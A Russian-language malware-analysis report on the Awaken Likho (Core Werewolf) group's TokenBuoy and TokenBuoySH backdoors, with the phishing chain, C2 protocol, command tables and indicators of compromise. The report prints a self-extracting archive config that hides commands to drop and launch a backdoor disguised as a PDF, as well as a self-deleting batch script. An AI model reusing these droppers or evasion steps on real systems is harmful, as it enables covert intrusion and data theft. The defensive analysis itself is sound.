Введение

Кибератакующая группировка Awaken Likho, известная под кодовым именем Core Werewolf, с 2021 года активно проводит операции против государственных учреждений России и Беларуси. В течение долгого времени киберпреступники опирались на легальный софт: инструменты удаленного управления (UltraVNC и MeshCentral) на начальных этапах атак и утилиту Rclone для хищения данных.

В текущем году группировка начала интенсивно разрабатывать собственное вредоносное программное обеспечение. Летом было опубликовано исследование о небольшом бэкдоре, созданном на AutoIt. Данный материал посвящен открытию двух полноценных собственных бэкдоров (TokenBuoy и TokenBuoySH), которые злоумышленники активно применяют в своих текущих операциях, начиная с начала 2026 года. В статье проводится полная реконструкция цепи заражения от первоначального фишингового письма до непосредственной экспортации данных.

Технические подробности

Первичный способ проникновения в систему

Как и прежде, атака начинается с фишингового сообщения электронной почты, содержащего опасный RAR-файл. В содержимом этого архива находится самораспаковывающийся 7-Zip архив, замаскированный под обычный PDF-файл благодаря подмене иконки. Архив содержит два компонента: исполняемый модуль и PDF-документ со случайными названиями файлов и расширениями (например, lD6q.bso3). При активации распаковки команды из конфигурации 7-Zip-архива переносят эти файлы в локальные директории пользователя, переименовывают их и запускают автоматически. Для затруднения аналитических работ конфигурационные строки разбиваются случайными комментариями.

Пример содержимого самораспаковывающегося архива

Пример конфигурации самораспаковывающегося архива с мусорными комментариями

Приведенная ниже конфигурация очищена от посторонних комментариев:

GUIMode='2'
RunProgram='hidcon:cmd /c copy /y \'%CD%\*.*\' \'%CD%\\..\\\\\'' 
RunProgram='hidcon:cmd /c copy \'%CD%\\..\\\\lD6q.bso3\' \'%HOMEDRIVE%%HOMEPATH%\Downloads\UDkO.pdf\'' 
RunProgram='hidcon:cmd /c cd \'%HOMEDRIVE%%HOMEPATH%\Downloads\' & start \'\' \'UDkO.pdf\''
RunProgram='hidcon:cmd /c copy SylUj.nDd \'%HOMEDRIVE%%HOMEPATH%\Links\Vpngard.exe\''
RunProgram='hidcon:cmd /c cd \'%HOMEDRIVE%%HOMEPATH%\Links\' & start \'\' \'Vpngard.exe\'']

Согласно строкам конфигурации, один из компонентов (lD6q.bso3) сохраняется под названием UDkO.pdf и затем автоматически открывается стандартной программой просмотра. Это типовой документ-приманка, предназначенный для отвлечения внимания жертвы. Другой файл (SylUj.nDd) сохраняется как Vpngard.exe и представляет собой первый бэкдор, который получил название TokenBuoy.

TokenBuoy

TokenBuoy разработан на языке C++. Несмотря на большой объем файла (примерно 1 Мб), функциональность бэкдора остается достаточно базовой. При инициализации он собирает детальную информацию о компьютере: перечень работающих приложений, наименование компьютера, параметры сетевого подключения, путь расположения рабочего стола и содержимое этой папки. Собранная информация упаковывается в JSON-структуру, кодируется в Base58 и отправляется на управляющий сервер через POST-запрос с адресом /deviceInfo.

После передачи информации о компьютере бэкдор отправляет GET-запрос для получения команд на адрес /actions. Командный сервер возвращает набор инструкций в JSON-формате, закодированные в Base58. Каждая инструкция выполняется в отдельном потоке выполнения, и результат отправляется обратно на сервер через POST-запрос к /actionresult.

Каждая команда начинается с восклицательного знака (!), параметры разделяются пробелами. Ниже приводится полный список поддерживаемых команд:

Команда Назначение
!dir Отображение списка папок и файлов в указанной директории
!tasklist Получение перечня всех активных процессов в системе
!ipconfig Сбор параметров сетевых интерфейсов
!arp Выведение таблицы протокола разрешения адресов
!netstat Получение активных сетевых соединений с детальной информацией
!terminate Переименование расширения исполняемого файла, остановка процесса, создание и запуск batch-скрипта для удаления вредоноса и самого себя
!download Загрузка файла по ссылке и сохранение его в определенное место на диске
!payload Загрузка и автоматический запуск вредоносного модуля. Поведение зависит от числа переданных параметров: два аргумента (ссылка и расположение) — скачивание по указанной ссылке; один аргумент (только путь) — скачивание со стандартной ссылки и немедленный запуск

Ниже приводится содержание batch-скрипта, выполняемого при использовании команды !terminate. Скрипт ждет 3 секунды, чтобы основной процесс завершился, затем удаляет исполняемый файл вредоноса, вновь ждет 3 секунды (используя команду ping для задержки), а потом удаляет сам себя.

@echo off
timeout /t 3 >nul
del /Q 'C:\Users\[удалено]\Links\Vpngard.exe'
start '' /b cmd /c 'ping 127.0.0.1 -n 3 >nul && del %~f0'

TokenBuoy не имеет механизма сохранения себя в системе. Его прерывание или перезагрузка компьютера остановит начальную фазу заражения. Однако командный сервер может отправить команду на загрузку и запуск другого вредоноса, который будет способен сохраняться в системе. Наблюдение показало, что бэкдор управляется вручную операторами, и сервер управления не отправляет автоматические команды.

TokenBuoySH

TokenBuoySH представляет собой следующий уровень в цепи заражения. Его загружает предыдущий бэкдор при помощи команды !payload. Бэкдор также создан на C++ и переиспользует некоторый код из TokenBuoy, но имеет намного больший размер файла (примерно в 10 раз больше) благодаря включению библиотеки OpenSSH и связанных с ней компонентов.

Исследование выявило, что данный бэкдор впервые был замечен в июле 2025 года, когда его внедряли посредством UltraVNC, а не посредством собственного ПО TokenBuoy.

При запуске бэкдор собирает данные об уникальных идентификаторах оборудования компьютера, на основе этих данных вычисляет контрольную сумму и создает уникальный идентификатор (GUID). Этот GUID используется как ключ реестра. Внутри этого ключа находится конфигурация бэкдора в кодировке Base58, которую пытается получить TokenBuoySH.

Пример структуры ключа реестра:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{ccf5dde8-3dab-ada4-3f4e-6ec4edab2279}::'Value'='F3NsnCYDvE6g6og6SaZ8DRtDu8CNuVTLMqTsV5gxdPeFdsEBn76aB46eYt7bhwtnqcxVa9FTRuWqT5wFjgmgsejnbZ7vDypN21wa88SyHfyTbmZpivgzPwezS1EymeH9odg6BR8Rao8WxkEujenv44o9yvg1hmjhq1udnkRi4vGLtFJPV9gu1MmU4d9EZUmccZ9qMWT3bMDz4HBme34NFqzvNH29YvJkj8icuNfTr19FeDX3u1yXyxGduZBLeH8bVS4r9omn3E57z5gmB11HuUk2ieNoGoTefnVXp2bMz3HP4KWXnMqsVs8bf6hdyhEz9mvJSWcMtox2vVToaUxrDmZjURskt1wToChogUBYuPEgZCmNjZ61XMrJE5T1yiTTXnyggAJui9hovPvb4Kgcf1LnwZYfAcz2GvZmFAa4EjyY1fkUEQXeXLPfB667DpzXiL7aUGNNr4QP1f7QLwW9qYE5rx7yRBcaH7yaTaCCtMx6ZCR2QotG'

Конфигурация из ключа реестра:

{
    alternativeServerHost: '',
    alternativeServerIp: '',
    alternativeServerPort: 0,
    commandLog: [],
    periodicTasks: [],
    proxySettings: {
        enabled: false,
        port: 22,
        server: 'user@valontasboutique[.]info'
    },
    recheckFrequency: 40,
    serverHost: 'valontasboutique[.]info',
    serverIp: '82.118.16[.]202',
    serverPort: 443,
    sshSettings: {
        enabled: false,
        port: 80,
        server: '82.118.16[.]202'
    }
}

Если ключ реестра не обнаружен (как при первом заражении), бэкдор применяет стандартную конфигурацию из ресурсов исполняемого файла. Однако перед этим выполняется проверка безопасности. Из ресурсов файла извлекается JSON со строкой наименования компьютера. Наименование из JSON сравнивается с наименованием компьютера, где запущен бэкдор. При несовпадении бэкдор прерывает свою деятельность. Напомним, что TokenBuoy передает JSON с информацией о системе на командный сервер с полем host_name. На этой основе создается проверка в ресурсах TokenBuoySH. Таким образом, для каждого отдельного заражения создается уникальный образец TokenBuoySH.

При успешной проверке наименования компьютера конфигурация из ресурсов записывается в ключ реестра, и бэкдор отправляет несколько POST-запросов на сервер управления. Первый идет на адрес /localinfo с информацией о системе:

{
  'bios_serial':'Dell-66 4a b9 89 49 c7 50 d9-ee 56 f9 83 f7 6c 5a 54',
  'cpu_serial':'1F8BFBFF000C0662',
  'disk_serial':'',
  'exec_source':'C:\\Users\\<удалено>.exe был запущен <удалено>.exe',
  'host_name':'DESKTOP-0073DRH',
  'local_ip':'',
  'mac_address':'AA:0F:3A:6C:5A:54',
  'public_key':'ssh-rsa AAAA<удалено>j \n',
  'readable_id':'<удалено>',
  'ssl_verified':true,
  'time_diff':98801096,
  'user_sid':'S-1-5-21-2428636123-2238391478-915077287-1001',
  'uuid':'67a94d56-b638-c84f-fd45-e872e65b4943',
  'volume_serial':'0EC3-B0FB',
  'windows_key':'8F4BJ-NX882-Y9MRV-BWPF8-HYHM2'
}

Следующий POST-запрос с аналитикой отправляется на адрес /telemetry и включает следующие параметры:

  • время, прошедшее с последнего взаимодействия пользователя (input_time);
  • расстояние передвижения курсора мыши на экране (mouse_stat);
  • время с момента начала работы бэкдора (suspended_time).
{
  'debug_present':false,
  'dlls':['mswsock.dll'],
  'input_time':250,
  'mouse_stat':6361,
  'suspended_time':1393
}

После передачи системной информации и аналитики бэкдор обновляет конфигурацию через GET-запрос на адрес /config. Описанная выше конфигурация содержит параметры для трех компонентов: HTTP-бэкдора, ReverseSSHBackdoor и ReverseSSHProxy. Эти параметры впоследствии сохраняются в ключе реестра.

Помимо основной конфигурации, JSON может включать поля, интерпретируемые как инструкции для компонента HTTP-бэкдора. Список поддерживаемых инструкций:

Команда Назначение
commands_to_exec Перечень инструкций для выполнения с перенаправлением потоков данных. Результаты отправляются на сервер через /commandlog
permanent_commands_to_exec Перечень инструкций для периодического выполнения с перенаправлением потоков. Этот перечень сохраняется в ключе реестра с основной конфигурацией
download_list Список идентификаторов файлов для загрузки с сервера через запрос GET /getfile?id=<ID>
self_destruct Переименование расширения файла, прерывание процесса, создание и запуск batch-скрипта для удаления вредоноса и скрипта
restart Перезагрузка системы
upload_list / upload_exclude Правила поиска файлов для включения и исключения. Найденные файлы упаковываются в ZIP и отправляются на сервер через /putfile

При наличии в конфигурации параметра proxySettings будет активирован компонент ReverseSSHProxy, а при наличии параметра sshSettings будет активирован ReverseSSHBackdoor. В обоих случаях параметр enabled должен быть установлен в true.

ReverseSSHBackdoor предоставляет дополнительный канал связи с командным сервером посредством SSH. Специальные команды, как и в TokenBuoy, начинаются с символа «!». Прочие команды выполняются через cmd.exe. Поддерживаемые команды:

Команда Назначение
!async Запуск приложения с перенаправлением ввода-вывода в асинхронном режиме в отдельном потоке
!download Получение данных с сервера в указанное место через SSH-канал
!upload Отправка файла с зараженного ПК на сервер через SSH-канал
!restart Перезагрузка системы
!terminate Переименование расширения файла, остановка процесса, создание и запуск batch-скрипта для удаления вредоноса и скрипта
!stop_proxy Остановка компонента ReverseSSHProxy

Стоит отметить, что TokenBuoySH, подобно TokenBuoy, не сохраняется в системе автоматически.

Rclone

Основной целью Awaken Likho является похищение документов из скомпрометированных систем. Для этого используется программа Rclone, которую загружают и запускают через TokenBuoySH.

Для запуска Rclone с требуемыми настройками киберпреступники используют следующий VBS-скрипт, обеспечивающий автоматическое выполнение процесса передачи данных.

Заключение

Текущие операции Awaken Likho свидетельствуют о том, что группировка активно разрабатывает собственное вредоносное ПО, уменьшая зависимость от внешних утилит. Появление уникальных бэкдоров с функциями самоуничтожения и проверкой окружения (проверка наименования компьютера) демонстрирует эволюцию инфраструктуры атакующих. Такая стратегия затрудняет аналитику и защиту, позволяя злоумышленникам персонализировать вредоносную нагрузку для конкретной жертвы, снижая риск обнаружения.

Мониторинг активности группировки продолжается. Базы данных систем аналитики постоянно пополняются актуальными показателями компрометации, связанными с Awaken Likho.

Показатели компрометации

Хэши TokenBuoy:

06CDE0A91A4CA4C3F30727B2BCE24C5B
1A089B21DC3263D26A04829A5FB26771
1FCF428D35B631A966B75611829AF009
237E091E73C1567CA4A6D38341F64B26
2D1C5D54C9243BF2A0519B8568DF7A8B
3AD49C63B99B567D5333AD4DD5109F98
3F49EFB288D57D8B7BFE08DD206CF217
45D0B9556AF198B50545492B7B0099F4
492A3304C098383F592CAFD254E080C4
5FF0887E111CA85107184BF3866FEE94
86C7AAB6BB2893B000EF5DBC3399184D
8B200E002255FB627366E956196B793C
9CA5504830350A1B163985BDB98F93A1
AE55A5396C99054346DE51D000870E77
C86F2B69D9AE086C5BB5BED01FB3953E
DA27845F5240CB4154E2462DA6EAF53E
EC234B4274385B068AECFBEFF1AD2F1C
FEEE200B00ACDE27F976B032A6C91353

Хэши TokenBuoySH:

48BBA0752732416B2261FEAE123EB811
5EA25A7D07B27BE91B3A81895BB10BA2
66C5195EDEEFD09905270AC65646164F
8D341C53FFE243739D81B82F5F0572A0
8E2A7C4B53DE6D8C117D982427F62324
F578598D10661D72BE05CF0FED3514BC
21EA1CCEA3919DF1CB535E97BD8979BA
2B6C5E756B6AE7F369DB5190EAD1E2B6
F32CC9623AB73464734465ED8894B765
DEF46199D8E8CD8E49C9280DFFF0B86C

Домены и IP-адреса серверов управления TokenBuoy/TokenBuoySH:

smartcustomerstracker[.]com
thangnhompoongsan[.]com
alictro-store[.]com
valontasboutique[.]info
kalgraphic[.]com
educativalibre[.]net
gokicau[.]com
frockbros[.]net
elitesoul[.]net
sgpsib[.]ru
ntsciz[.]ru
indeksmail[.]ru
markdavidson[.]biz
185.173.37[.]27
185.255.135[.]176
185.102.139[.]30
138.124.76[.]77
95.142.39[.]7
91.212.150[.]141
89.110.98[.]122
82.118.